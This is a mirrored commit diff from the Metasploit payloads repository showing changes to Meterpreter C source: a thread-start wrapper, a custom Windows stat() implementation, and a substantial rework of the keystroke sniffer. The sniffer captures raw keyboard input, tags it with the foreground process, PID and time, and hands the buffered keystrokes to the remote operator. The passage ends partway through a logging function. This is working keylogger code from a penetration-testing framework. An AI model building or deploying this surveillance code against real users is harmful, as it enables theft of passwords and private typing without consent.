mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-03-24 18:16:24 +01:00
Merge branch upstream into packet-pivot
This commit is contained in:
commit
005ba6a8c0
c/meterpreter/source
common
extensions
kiwi
stdapi
winpmem
screenshot
server
gem/lib/metasploit-payloads
java/androidpayload/app/src/com/metasploit/stage
php/meterpreter
python/meterpreter
@ -140,7 +140,6 @@ THREAD * thread_open( VOID )
|
|||||||
OPENTHREAD pOpenThread = NULL;
|
OPENTHREAD pOpenThread = NULL;
|
||||||
HMODULE hKernel32 = NULL;
|
HMODULE hKernel32 = NULL;
|
||||||
|
|
||||||
|
|
||||||
thread = (THREAD *)malloc( sizeof( THREAD ) );
|
thread = (THREAD *)malloc( sizeof( THREAD ) );
|
||||||
if( thread != NULL )
|
if( thread != NULL )
|
||||||
{
|
{
|
||||||
@ -166,7 +165,7 @@ THREAD * thread_open( VOID )
|
|||||||
// If we can't use OpenThread, we try the older NtOpenThread function as found on NT4 machines.
|
// If we can't use OpenThread, we try the older NtOpenThread function as found on NT4 machines.
|
||||||
HMODULE hNtDll = LoadLibrary( "ntdll.dll" );
|
HMODULE hNtDll = LoadLibrary( "ntdll.dll" );
|
||||||
pNtOpenThread = (NTOPENTHREAD)GetProcAddress( hNtDll, "NtOpenThread" );
|
pNtOpenThread = (NTOPENTHREAD)GetProcAddress( hNtDll, "NtOpenThread" );
|
||||||
if( pNtOpenThread )
|
if (pNtOpenThread)
|
||||||
{
|
{
|
||||||
_OBJECT_ATTRIBUTES oa = {0};
|
_OBJECT_ATTRIBUTES oa = {0};
|
||||||
_CLIENT_ID cid = {0};
|
_CLIENT_ID cid = {0};
|
||||||
@ -185,6 +184,22 @@ THREAD * thread_open( VOID )
|
|||||||
return thread;
|
return thread;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
void disable_thread_error_reporting(void)
|
||||||
|
{
|
||||||
|
HMODULE hKernel32 = LoadLibrary("kernel32.dll");
|
||||||
|
DWORD(WINAPI * pSetThreadErrorMode)(DWORD, DWORD *);
|
||||||
|
pSetThreadErrorMode = (void *)GetProcAddress(hKernel32, "SetThreadErrorMode");
|
||||||
|
if (pSetThreadErrorMode) {
|
||||||
|
pSetThreadErrorMode(SEM_FAILCRITICALERRORS, NULL);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static DWORD THREADCALL thread_preamble(THREAD *thread)
|
||||||
|
{
|
||||||
|
disable_thread_error_reporting();
|
||||||
|
return thread->funk(thread);
|
||||||
|
}
|
||||||
|
|
||||||
/*
|
/*
|
||||||
* Create a new thread in a suspended state.
|
* Create a new thread in a suspended state.
|
||||||
*/
|
*/
|
||||||
@ -192,33 +207,33 @@ THREAD * thread_create( THREADFUNK funk, LPVOID param1, LPVOID param2, LPVOID pa
|
|||||||
{
|
{
|
||||||
THREAD * thread = NULL;
|
THREAD * thread = NULL;
|
||||||
|
|
||||||
if( funk == NULL )
|
if (funk == NULL )
|
||||||
return NULL;
|
return NULL;
|
||||||
|
|
||||||
thread = (THREAD *)malloc( sizeof( THREAD ) );
|
thread = malloc(sizeof(THREAD));
|
||||||
if( thread == NULL )
|
if (thread == NULL)
|
||||||
return NULL;
|
return NULL;
|
||||||
|
|
||||||
memset( thread, 0, sizeof( THREAD ) );
|
memset(thread, 0, sizeof(THREAD));
|
||||||
|
|
||||||
thread->sigterm = event_create();
|
thread->sigterm = event_create();
|
||||||
if( thread->sigterm == NULL )
|
if (thread->sigterm == NULL)
|
||||||
{
|
{
|
||||||
free( thread );
|
free(thread);
|
||||||
return NULL;
|
return NULL;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
thread->parameter1 = param1;
|
thread->parameter1 = param1;
|
||||||
thread->parameter2 = param2;
|
thread->parameter2 = param2;
|
||||||
thread->parameter3 = param3;
|
thread->parameter3 = param3;
|
||||||
|
thread->funk = funk;
|
||||||
|
|
||||||
thread->handle = CreateThread( NULL, 0, funk, thread, CREATE_SUSPENDED, &thread->id );
|
thread->handle = CreateThread(NULL, 0, thread_preamble, thread, CREATE_SUSPENDED, &thread->id);
|
||||||
|
|
||||||
if( thread->handle == NULL )
|
if (thread->handle == NULL)
|
||||||
{
|
{
|
||||||
event_destroy( thread->sigterm );
|
event_destroy(thread->sigterm);
|
||||||
free( thread );
|
free(thread);
|
||||||
return NULL;
|
return NULL;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -43,19 +43,22 @@ typedef struct _EVENT
|
|||||||
HANDLE handle;
|
HANDLE handle;
|
||||||
} EVENT, * LPEVENT;
|
} EVENT, * LPEVENT;
|
||||||
|
|
||||||
typedef struct _THREAD
|
#define THREADCALL __stdcall
|
||||||
|
|
||||||
|
typedef DWORD (THREADCALL * THREADFUNK)(struct _THREAD * thread);
|
||||||
|
|
||||||
|
struct _THREAD
|
||||||
{
|
{
|
||||||
DWORD id;
|
DWORD id;
|
||||||
HANDLE handle;
|
HANDLE handle;
|
||||||
EVENT * sigterm;
|
EVENT * sigterm;
|
||||||
|
THREADFUNK funk;
|
||||||
LPVOID parameter1;
|
LPVOID parameter1;
|
||||||
LPVOID parameter2;
|
LPVOID parameter2;
|
||||||
LPVOID parameter3;
|
LPVOID parameter3;
|
||||||
} THREAD, * LPTHREAD;
|
};
|
||||||
|
|
||||||
#define THREADCALL __stdcall
|
typedef struct _THREAD THREAD, * LPTHREAD;
|
||||||
|
|
||||||
typedef DWORD (THREADCALL * THREADFUNK)( THREAD * thread );
|
|
||||||
|
|
||||||
/*****************************************************************************************/
|
/*****************************************************************************************/
|
||||||
|
|
||||||
@ -83,6 +86,8 @@ THREAD * thread_open( VOID );
|
|||||||
|
|
||||||
THREAD * thread_create( THREADFUNK funk, LPVOID param1, LPVOID param2, LPVOID param3 );
|
THREAD * thread_create( THREADFUNK funk, LPVOID param1, LPVOID param2, LPVOID param3 );
|
||||||
|
|
||||||
|
void disable_thread_error_reporting(void);
|
||||||
|
|
||||||
BOOL thread_run( THREAD * thread );
|
BOOL thread_run( THREAD * thread );
|
||||||
|
|
||||||
BOOL thread_sigterm( THREAD * thread );
|
BOOL thread_sigterm( THREAD * thread );
|
||||||
|
@ -1 +1 @@
|
|||||||
Subproject commit 6949f59d421cbacfb1c09d1b310c28a0d03159e1
|
Subproject commit 06260368d4f0a2bdb9ebcde34e071655df0a0b0a
|
@ -287,32 +287,118 @@ out:
|
|||||||
return rc;
|
return rc;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
static int
|
||||||
|
attributes_to_mode(DWORD attr)
|
||||||
|
{
|
||||||
|
int m = 0;
|
||||||
|
if (attr & FILE_ATTRIBUTE_DIRECTORY) {
|
||||||
|
m |= _S_IFDIR | 0111; /* IFEXEC for user,group,other */
|
||||||
|
} else {
|
||||||
|
m |= _S_IFREG;
|
||||||
|
}
|
||||||
|
if (attr & FILE_ATTRIBUTE_READONLY) {
|
||||||
|
m |= 0444;
|
||||||
|
} else {
|
||||||
|
m |= 0666;
|
||||||
|
}
|
||||||
|
return m;
|
||||||
|
}
|
||||||
|
|
||||||
|
static int
|
||||||
|
attributes_from_dir_w(LPCWSTR pszFile, LPWIN32_FILE_ATTRIBUTE_DATA pfad)
|
||||||
|
{
|
||||||
|
HANDLE hFindFile;
|
||||||
|
WIN32_FIND_DATAW FileData;
|
||||||
|
hFindFile = FindFirstFileW(pszFile, &FileData);
|
||||||
|
if (hFindFile == INVALID_HANDLE_VALUE) {
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
FindClose(hFindFile);
|
||||||
|
pfad->dwFileAttributes = FileData.dwFileAttributes;
|
||||||
|
pfad->ftCreationTime = FileData.ftCreationTime;
|
||||||
|
pfad->ftLastAccessTime = FileData.ftLastAccessTime;
|
||||||
|
pfad->ftLastWriteTime = FileData.ftLastWriteTime;
|
||||||
|
pfad->nFileSizeHigh = FileData.nFileSizeHigh;
|
||||||
|
pfad->nFileSizeLow = FileData.nFileSizeLow;
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
static void
|
||||||
|
FILE_TIME_to_nsec(FILETIME *in_ptr, uint64_t *time_out)
|
||||||
|
{
|
||||||
|
int64_t in;
|
||||||
|
const int64_t secs_between_epochs = 11644473600;
|
||||||
|
memcpy(&in, in_ptr, sizeof(in));
|
||||||
|
*time_out = (in / 10000000) - secs_between_epochs;
|
||||||
|
}
|
||||||
|
|
||||||
|
static int
|
||||||
|
attribute_data_to_stat(WIN32_FILE_ATTRIBUTE_DATA *info, struct meterp_stat *result)
|
||||||
|
{
|
||||||
|
memset(result, 0, sizeof(*result));
|
||||||
|
result->st_mode = attributes_to_mode(info->dwFileAttributes);
|
||||||
|
result->st_size = (((__int64)info->nFileSizeHigh) << 32) + info->nFileSizeLow;
|
||||||
|
FILE_TIME_to_nsec(&info->ftCreationTime, &result->st_ctime);
|
||||||
|
FILE_TIME_to_nsec(&info->ftLastWriteTime, &result->st_mtime);
|
||||||
|
FILE_TIME_to_nsec(&info->ftLastAccessTime, &result->st_atime);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* The CRT of Windows has a number of flaws wrt. its stat() implementation:
|
||||||
|
* - time stamps are restricted to second resolution
|
||||||
|
* - file modification times suffer from forth-and-back conversions between
|
||||||
|
* UTC and local time
|
||||||
|
* Therefore, we implement our own stat, based on the Win32 API directly.
|
||||||
|
*
|
||||||
|
* This is based on the Python 2 implementation from:
|
||||||
|
* https://github.com/python/cpython/commit/14694662d530d0d1823e1d86f2e5b2e4ec600e86#diff-a6f29e907cbb5fffd44d453bcd7b77d5R741
|
||||||
|
*/
|
||||||
|
static int
|
||||||
|
win32_wstat(const wchar_t* path, struct meterp_stat *result)
|
||||||
|
{
|
||||||
|
int code;
|
||||||
|
const wchar_t *dot;
|
||||||
|
WIN32_FILE_ATTRIBUTE_DATA info;
|
||||||
|
if (!GetFileAttributesExW(path, GetFileExInfoStandard, &info)) {
|
||||||
|
if (GetLastError() != ERROR_SHARING_VIOLATION) {
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
if (!attributes_from_dir_w(path, &info)) {
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
code = attribute_data_to_stat(&info, result);
|
||||||
|
if (code < 0) {
|
||||||
|
return code;
|
||||||
|
}
|
||||||
|
/* Set IFEXEC if it is an .exe, .bat, ... */
|
||||||
|
dot = wcsrchr(path, '.');
|
||||||
|
if (dot) {
|
||||||
|
if (_wcsicmp(dot, L".bat") == 0 ||
|
||||||
|
_wcsicmp(dot, L".cmd") == 0 ||
|
||||||
|
_wcsicmp(dot, L".exe") == 0 ||
|
||||||
|
_wcsicmp(dot, L".com") == 0)
|
||||||
|
result->st_mode |= 0111;
|
||||||
|
}
|
||||||
|
return code;
|
||||||
|
}
|
||||||
|
|
||||||
int fs_stat(char *filename, struct meterp_stat *buf)
|
int fs_stat(char *filename, struct meterp_stat *buf)
|
||||||
{
|
{
|
||||||
struct _stat64i32 sbuf;
|
|
||||||
|
|
||||||
wchar_t *filename_w = utf8_to_wchar(filename);
|
wchar_t *filename_w = utf8_to_wchar(filename);
|
||||||
if (filename_w == NULL) {
|
if (filename_w == NULL) {
|
||||||
return -1;
|
return -1;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (_wstat(filename_w, &sbuf) == -1) {
|
if (win32_wstat(filename_w, buf) == -1) {
|
||||||
return GetLastError();
|
return GetLastError();
|
||||||
}
|
}
|
||||||
|
|
||||||
free(filename_w);
|
free(filename_w);
|
||||||
|
|
||||||
buf->st_dev = sbuf.st_dev;
|
|
||||||
buf->st_ino = sbuf.st_ino;
|
|
||||||
buf->st_mode = sbuf.st_mode;
|
|
||||||
buf->st_nlink = sbuf.st_nlink;
|
|
||||||
buf->st_uid = sbuf.st_uid;
|
|
||||||
buf->st_gid = sbuf.st_gid;
|
|
||||||
buf->st_rdev = sbuf.st_rdev;
|
|
||||||
buf->st_size = sbuf.st_size;
|
|
||||||
buf->st_atime = sbuf.st_atime;
|
|
||||||
buf->st_mtime = sbuf.st_mtime;
|
|
||||||
buf->st_ctime = sbuf.st_ctime;
|
|
||||||
|
|
||||||
return ERROR_SUCCESS;
|
return ERROR_SUCCESS;
|
||||||
}
|
}
|
||||||
|
@ -279,7 +279,7 @@ DWORD request_ui_desktop_set(Remote * remote, Packet * request)
|
|||||||
}
|
}
|
||||||
|
|
||||||
/*
|
/*
|
||||||
* Worker thread for desktop screenshot. Creates a named pipe and reads in the
|
* Worker thread for desktop screenshot. Creates a named pipe and reads in the
|
||||||
* screenshot for the first client which connects to it.
|
* screenshot for the first client which connects to it.
|
||||||
*/
|
*/
|
||||||
DWORD THREADCALL desktop_screenshot_thread(THREAD * thread)
|
DWORD THREADCALL desktop_screenshot_thread(THREAD * thread)
|
||||||
|
@ -8,6 +8,7 @@ extern HINSTANCE hAppInstance;
|
|||||||
|
|
||||||
LRESULT CALLBACK ui_keyscan_wndproc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam);
|
LRESULT CALLBACK ui_keyscan_wndproc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam);
|
||||||
INT ui_log_key(UINT vKey, USHORT mCode, USHORT Flags);
|
INT ui_log_key(UINT vKey, USHORT mCode, USHORT Flags);
|
||||||
|
INT ui_log_key_actwin(UINT vKey, USHORT mCode, USHORT Flags);
|
||||||
INT ui_resolve_raw_api();
|
INT ui_resolve_raw_api();
|
||||||
|
|
||||||
/*
|
/*
|
||||||
@ -46,24 +47,45 @@ DWORD request_ui_enable_keyboard(Remote *remote, Packet *request)
|
|||||||
|
|
||||||
typedef enum { false = 0, true = 1 } bool;
|
typedef enum { false = 0, true = 1 } bool;
|
||||||
|
|
||||||
/*
|
// required function pointers
|
||||||
* required function pointers
|
|
||||||
*/
|
|
||||||
|
|
||||||
f_GetRawInputData fnGetRawInputData;
|
f_GetRawInputData fnGetRawInputData;
|
||||||
f_RegisterRawInputDevices fnRegisterRawInputDevices;
|
f_RegisterRawInputDevices fnRegisterRawInputDevices;
|
||||||
f_GetProcessImageFileNameW fnGetProcessImageFileNameW;
|
f_GetProcessImageFileNameW fnGetProcessImageFileNameW;
|
||||||
f_QueryFullProcessImageNameW fnQueryFullProcessImageNameW;
|
f_QueryFullProcessImageNameW fnQueryFullProcessImageNameW;
|
||||||
|
|
||||||
|
// this could be modified
|
||||||
const char g_szClassName[] = "klwClass";
|
const char g_szClassName[] = "klwClass";
|
||||||
|
|
||||||
|
// handle to main window
|
||||||
HANDLE tKeyScan = NULL;
|
HANDLE tKeyScan = NULL;
|
||||||
|
|
||||||
|
// self explanatory
|
||||||
const unsigned int KEYBUFSIZE = 1024 * 1024;
|
const unsigned int KEYBUFSIZE = 1024 * 1024;
|
||||||
|
|
||||||
|
// global keyscan logging buffer
|
||||||
WCHAR *g_keyscan_buf = NULL;
|
WCHAR *g_keyscan_buf = NULL;
|
||||||
|
|
||||||
|
// index into g_keyscan_buf
|
||||||
size_t g_idx = 0;
|
size_t g_idx = 0;
|
||||||
|
|
||||||
|
// buffer containing the current active window on target
|
||||||
WCHAR g_active_image[MAX_PATH] = L"Logging started";
|
WCHAR g_active_image[MAX_PATH] = L"Logging started";
|
||||||
|
|
||||||
|
// buffer containing the previous active window on target
|
||||||
WCHAR g_prev_active_image[MAX_PATH] = { 0 };
|
WCHAR g_prev_active_image[MAX_PATH] = { 0 };
|
||||||
|
|
||||||
|
// pointer to selected data collection function
|
||||||
|
INT (*gfn_log_key)(UINT, USHORT, USHORT);
|
||||||
|
|
||||||
|
// thread boundary condition
|
||||||
|
BOOL KEYSCAN_RUNNING = false;
|
||||||
|
|
||||||
DWORD dwThreadId;
|
DWORD dwThreadId;
|
||||||
|
|
||||||
|
// window handle
|
||||||
|
HWND ghwnd;
|
||||||
|
|
||||||
/*
|
/*
|
||||||
* needed for process enumeration
|
* needed for process enumeration
|
||||||
*/
|
*/
|
||||||
@ -92,7 +114,6 @@ BOOL CALLBACK ecw_callback(HWND hWnd, LPARAM lp) {
|
|||||||
int WINAPI ui_keyscan_proc()
|
int WINAPI ui_keyscan_proc()
|
||||||
{
|
{
|
||||||
WNDCLASSEX klwc;
|
WNDCLASSEX klwc;
|
||||||
HWND hwnd;
|
|
||||||
MSG msg;
|
MSG msg;
|
||||||
int ret = 0;
|
int ret = 0;
|
||||||
|
|
||||||
@ -117,16 +138,8 @@ int WINAPI ui_keyscan_proc()
|
|||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
// initialize g_keyscan_buf
|
|
||||||
if (g_keyscan_buf) {
|
|
||||||
free(g_keyscan_buf);
|
|
||||||
g_keyscan_buf = NULL;
|
|
||||||
}
|
|
||||||
|
|
||||||
g_keyscan_buf = calloc(KEYBUFSIZE, sizeof(WCHAR));
|
|
||||||
|
|
||||||
// create message-only window
|
// create message-only window
|
||||||
hwnd = CreateWindowEx(
|
ghwnd = CreateWindowEx(
|
||||||
0,
|
0,
|
||||||
g_szClassName,
|
g_szClassName,
|
||||||
NULL,
|
NULL,
|
||||||
@ -135,7 +148,7 @@ int WINAPI ui_keyscan_proc()
|
|||||||
HWND_MESSAGE, NULL, hAppInstance, NULL
|
HWND_MESSAGE, NULL, hAppInstance, NULL
|
||||||
);
|
);
|
||||||
|
|
||||||
if (!hwnd)
|
if (!ghwnd)
|
||||||
{
|
{
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
@ -185,7 +198,7 @@ LRESULT CALLBACK ui_keyscan_wndproc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM l
|
|||||||
if (buffer->header.dwType == RIM_TYPEKEYBOARD
|
if (buffer->header.dwType == RIM_TYPEKEYBOARD
|
||||||
&& buffer->data.keyboard.Message == WM_KEYDOWN)
|
&& buffer->data.keyboard.Message == WM_KEYDOWN)
|
||||||
{
|
{
|
||||||
if (ui_log_key(buffer->data.keyboard.VKey, buffer->data.keyboard.MakeCode, buffer->data.keyboard.Flags) == -1)
|
if (gfn_log_key(buffer->data.keyboard.VKey, buffer->data.keyboard.MakeCode, buffer->data.keyboard.Flags) == -1)
|
||||||
DestroyWindow(hwnd);
|
DestroyWindow(hwnd);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@ -194,10 +207,21 @@ LRESULT CALLBACK ui_keyscan_wndproc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM l
|
|||||||
HeapFree(GetProcessHeap(), 0, buffer);
|
HeapFree(GetProcessHeap(), 0, buffer);
|
||||||
break;
|
break;
|
||||||
|
|
||||||
case WM_DESTROY:
|
case WM_CLOSE:
|
||||||
PostQuitMessage(0);
|
// reset index
|
||||||
|
g_idx = 0;
|
||||||
|
|
||||||
|
// torch buffer
|
||||||
|
free(g_keyscan_buf);
|
||||||
|
g_keyscan_buf = NULL;
|
||||||
|
|
||||||
|
// destroy window and unregister window class
|
||||||
|
DestroyWindow(hwnd);
|
||||||
|
UnregisterClass(g_szClassName, hAppInstance);
|
||||||
break;
|
break;
|
||||||
|
|
||||||
|
case WM_QUIT:
|
||||||
|
return 0;
|
||||||
default:
|
default:
|
||||||
return DefWindowProc(hwnd, msg, wParam, lParam);
|
return DefWindowProc(hwnd, msg, wParam, lParam);
|
||||||
}
|
}
|
||||||
@ -213,13 +237,27 @@ DWORD request_ui_start_keyscan(Remote *remote, Packet *request)
|
|||||||
Packet *response = packet_create_response(request);
|
Packet *response = packet_create_response(request);
|
||||||
DWORD result = ERROR_SUCCESS;
|
DWORD result = ERROR_SUCCESS;
|
||||||
|
|
||||||
if (tKeyScan) {
|
bool track_active_window = packet_get_tlv_value_bool(request, TLV_TYPE_KEYSCAN_TRACK_ACTIVE_WINDOW);
|
||||||
|
|
||||||
|
// set appropriate logging function
|
||||||
|
(track_active_window == true) ? (gfn_log_key = &ui_log_key_actwin) : (gfn_log_key = &ui_log_key);
|
||||||
|
|
||||||
|
if (KEYSCAN_RUNNING) {
|
||||||
result = 1;
|
result = 1;
|
||||||
}
|
}
|
||||||
else {
|
else {
|
||||||
// Make sure we have access to the input desktop
|
// Make sure we have access to the input desktop
|
||||||
if (GetAsyncKeyState(0x0a) == 0) {
|
if (GetAsyncKeyState(0x0a) == 0) {
|
||||||
|
// initialize g_keyscan_buf
|
||||||
|
if (g_keyscan_buf) {
|
||||||
|
free(g_keyscan_buf);
|
||||||
|
g_keyscan_buf = NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
g_keyscan_buf = calloc(KEYBUFSIZE, sizeof(WCHAR));
|
||||||
|
|
||||||
tKeyScan = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ui_keyscan_proc, NULL, 0, NULL);
|
tKeyScan = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ui_keyscan_proc, NULL, 0, NULL);
|
||||||
|
KEYSCAN_RUNNING = true;
|
||||||
}
|
}
|
||||||
else {
|
else {
|
||||||
// No permission to read key state from active desktop
|
// No permission to read key state from active desktop
|
||||||
@ -232,6 +270,7 @@ DWORD request_ui_start_keyscan(Remote *remote, Packet *request)
|
|||||||
return ERROR_SUCCESS;
|
return ERROR_SUCCESS;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
/*
|
/*
|
||||||
* Stops the keyboard sniffer
|
* Stops the keyboard sniffer
|
||||||
*/
|
*/
|
||||||
@ -240,10 +279,11 @@ DWORD request_ui_stop_keyscan(Remote *remote, Packet *request)
|
|||||||
{
|
{
|
||||||
Packet *response = packet_create_response(request);
|
Packet *response = packet_create_response(request);
|
||||||
DWORD result = ERROR_SUCCESS;
|
DWORD result = ERROR_SUCCESS;
|
||||||
g_idx = 0;
|
|
||||||
|
|
||||||
if (tKeyScan) {
|
if (tKeyScan) {
|
||||||
TerminateThread(tKeyScan, 0);
|
KEYSCAN_RUNNING = false;
|
||||||
|
SendMessageA(ghwnd, WM_CLOSE, 0, 0);
|
||||||
|
CloseHandle(tKeyScan);
|
||||||
tKeyScan = NULL;
|
tKeyScan = NULL;
|
||||||
}
|
}
|
||||||
else {
|
else {
|
||||||
@ -264,7 +304,7 @@ DWORD request_ui_get_keys(Remote *remote, Packet *request)
|
|||||||
Packet *response = packet_create_response(request);
|
Packet *response = packet_create_response(request);
|
||||||
DWORD result = ERROR_SUCCESS;
|
DWORD result = ERROR_SUCCESS;
|
||||||
|
|
||||||
if (tKeyScan) {
|
if (tKeyScan) {
|
||||||
// This works because NULL defines the end of data (or if its wrapped, the whole buffer)
|
// This works because NULL defines the end of data (or if its wrapped, the whole buffer)
|
||||||
packet_add_tlv_string(response, TLV_TYPE_KEYS_DUMP, (LPCSTR)g_keyscan_buf);
|
packet_add_tlv_string(response, TLV_TYPE_KEYS_DUMP, (LPCSTR)g_keyscan_buf);
|
||||||
memset(g_keyscan_buf, 0, KEYBUFSIZE);
|
memset(g_keyscan_buf, 0, KEYBUFSIZE);
|
||||||
@ -280,7 +320,7 @@ DWORD request_ui_get_keys(Remote *remote, Packet *request)
|
|||||||
}
|
}
|
||||||
|
|
||||||
/*
|
/*
|
||||||
* Returns the sniffed keystrokes (UTF8)
|
* Returns the sniffed keystrokes (UTF-8)
|
||||||
*/
|
*/
|
||||||
|
|
||||||
DWORD request_ui_get_keys_utf8(Remote *remote, Packet *request)
|
DWORD request_ui_get_keys_utf8(Remote *remote, Packet *request)
|
||||||
@ -306,14 +346,15 @@ DWORD request_ui_get_keys_utf8(Remote *remote, Packet *request)
|
|||||||
|
|
||||||
// Transmit the response
|
// Transmit the response
|
||||||
packet_transmit_response(result, remote, response);
|
packet_transmit_response(result, remote, response);
|
||||||
|
free(utf8_keyscan_buf);
|
||||||
return ERROR_SUCCESS;
|
return ERROR_SUCCESS;
|
||||||
}
|
}
|
||||||
|
|
||||||
/*
|
/*
|
||||||
* log keystrokes
|
* log keystrokes and track active window
|
||||||
*/
|
*/
|
||||||
|
|
||||||
int ui_log_key(UINT vKey, USHORT mCode, USHORT Flags)
|
int ui_log_key_actwin(UINT vKey, USHORT mCode, USHORT Flags)
|
||||||
{
|
{
|
||||||
HWND foreground_wnd;
|
HWND foreground_wnd;
|
||||||
HANDLE active_proc;
|
HANDLE active_proc;
|
||||||
@ -355,7 +396,7 @@ int ui_log_key(UINT vKey, USHORT mCode, USHORT Flags)
|
|||||||
GetSystemTime(&st);
|
GetSystemTime(&st);
|
||||||
GetDateFormatW(LOCALE_SYSTEM_DEFAULT, DATE_LONGDATE, &st, NULL, date_s, sizeof(date_s));
|
GetDateFormatW(LOCALE_SYSTEM_DEFAULT, DATE_LONGDATE, &st, NULL, date_s, sizeof(date_s));
|
||||||
GetTimeFormatW(LOCALE_USER_DEFAULT, TIME_FORCE24HOURFORMAT, &st, NULL, time_s, sizeof(time_s));
|
GetTimeFormatW(LOCALE_USER_DEFAULT, TIME_FORCE24HOURFORMAT, &st, NULL, time_s, sizeof(time_s));
|
||||||
g_idx += _snwprintf(g_keyscan_buf + g_idx, KEYBUFSIZE, L"\n**\n-[ %s\n-[ @ %s %s UTC\n**\n", g_active_image, date_s, time_s);
|
g_idx += _snwprintf(g_keyscan_buf + g_idx, KEYBUFSIZE, L"\n**\n-[ %s | PID: %d\n-[ @ %s %s UTC\n**\n", g_active_image, info.cpid, date_s, time_s);
|
||||||
RtlZeroMemory(g_prev_active_image, MAX_PATH);
|
RtlZeroMemory(g_prev_active_image, MAX_PATH);
|
||||||
_snwprintf(g_prev_active_image, MAX_PATH, L"%s", g_active_image);
|
_snwprintf(g_prev_active_image, MAX_PATH, L"%s", g_active_image);
|
||||||
}
|
}
|
||||||
@ -368,6 +409,80 @@ int ui_log_key(UINT vKey, USHORT mCode, USHORT Flags)
|
|||||||
UINT key = (mCode << 16) | (isE0 << 24);
|
UINT key = (mCode << 16) | (isE0 << 24);
|
||||||
BOOL ctrl_is_down = (1 << 15) & (GetAsyncKeyState(VK_CONTROL));
|
BOOL ctrl_is_down = (1 << 15) & (GetAsyncKeyState(VK_CONTROL));
|
||||||
|
|
||||||
|
switch (vKey)
|
||||||
|
{
|
||||||
|
case VK_CONTROL:
|
||||||
|
// ctrl by itself, not much insight to be gained
|
||||||
|
break;
|
||||||
|
case VK_BACK:
|
||||||
|
g_idx += _snwprintf(g_keyscan_buf + g_idx, KEYBUFSIZE, L"<^H>");
|
||||||
|
break;
|
||||||
|
case VK_RETURN:
|
||||||
|
g_idx += _snwprintf(g_keyscan_buf + g_idx, KEYBUFSIZE, L"<CR>\r\n");
|
||||||
|
break;
|
||||||
|
case VK_MENU:
|
||||||
|
if (isE0)
|
||||||
|
g_idx += _snwprintf(g_keyscan_buf + g_idx, KEYBUFSIZE, L"<RAlt>");
|
||||||
|
else
|
||||||
|
g_idx += _snwprintf(g_keyscan_buf + g_idx, KEYBUFSIZE, L"<LAlt>");
|
||||||
|
break;
|
||||||
|
case VK_TAB:
|
||||||
|
g_idx += _snwprintf(g_keyscan_buf + g_idx, KEYBUFSIZE, L"<Tab>");
|
||||||
|
break;
|
||||||
|
case VK_NUMLOCK: // pause/break and numlock both send the same message
|
||||||
|
key = (MapVirtualKey(vKey, MAPVK_VK_TO_VSC) | 0x100);
|
||||||
|
if (GetKeyNameTextW((LONG)key, (LPWSTR)gknt_buf, mpsz))
|
||||||
|
g_idx += _snwprintf(g_keyscan_buf + g_idx, KEYBUFSIZE, L"<%ls>", gknt_buf);
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
if (ctrl_is_down)
|
||||||
|
{
|
||||||
|
if (GetKeyNameTextW((LONG)key, (LPWSTR)gknt_buf, mpsz))
|
||||||
|
g_idx += _snwprintf(g_keyscan_buf + g_idx, KEYBUFSIZE, L"<^%ls>", gknt_buf);
|
||||||
|
}
|
||||||
|
else if (ToUnicodeEx(vKey, mCode, lpKeyboard, kb, 16, 0, NULL) == 1)
|
||||||
|
{
|
||||||
|
g_idx += _snwprintf(g_keyscan_buf + g_idx, KEYBUFSIZE, L"%ls", kb);
|
||||||
|
}
|
||||||
|
else if (GetKeyNameTextW((LONG)key, (LPWSTR)gknt_buf, mpsz))
|
||||||
|
{
|
||||||
|
g_idx += _snwprintf(g_keyscan_buf + g_idx, KEYBUFSIZE, L"<%ls>", gknt_buf);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* log keystrokes - no window tracking
|
||||||
|
*/
|
||||||
|
|
||||||
|
int ui_log_key(UINT vKey, USHORT mCode, USHORT Flags)
|
||||||
|
{
|
||||||
|
WNDINFO info = { 0 };
|
||||||
|
DWORD mpsz = MAX_PATH;
|
||||||
|
WCHAR date_s[256] = { 0 };
|
||||||
|
WCHAR time_s[256] = { 0 };
|
||||||
|
WCHAR gknt_buf[256] = { 0 };
|
||||||
|
BYTE lpKeyboard[256];
|
||||||
|
WCHAR kb[16] = { 0 };
|
||||||
|
|
||||||
|
GetKeyState(VK_CAPITAL); GetKeyState(VK_SCROLL); GetKeyState(VK_NUMLOCK);
|
||||||
|
GetKeyboardState(lpKeyboard);
|
||||||
|
|
||||||
|
// treat g_keyscan_buf as a circular array
|
||||||
|
// boundary could be adjusted
|
||||||
|
if ((g_idx + 256) >= KEYBUFSIZE)
|
||||||
|
{
|
||||||
|
g_idx = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
// needed for some wonky cases
|
||||||
|
const bool isE0 = ((Flags & RI_KEY_E0) != 0);
|
||||||
|
const bool isE1 = ((Flags & RI_KEY_E1) != 0);
|
||||||
|
UINT key = (mCode << 16) | (isE0 << 24);
|
||||||
|
BOOL ctrl_is_down = (1 << 15) & (GetAsyncKeyState(VK_CONTROL));
|
||||||
|
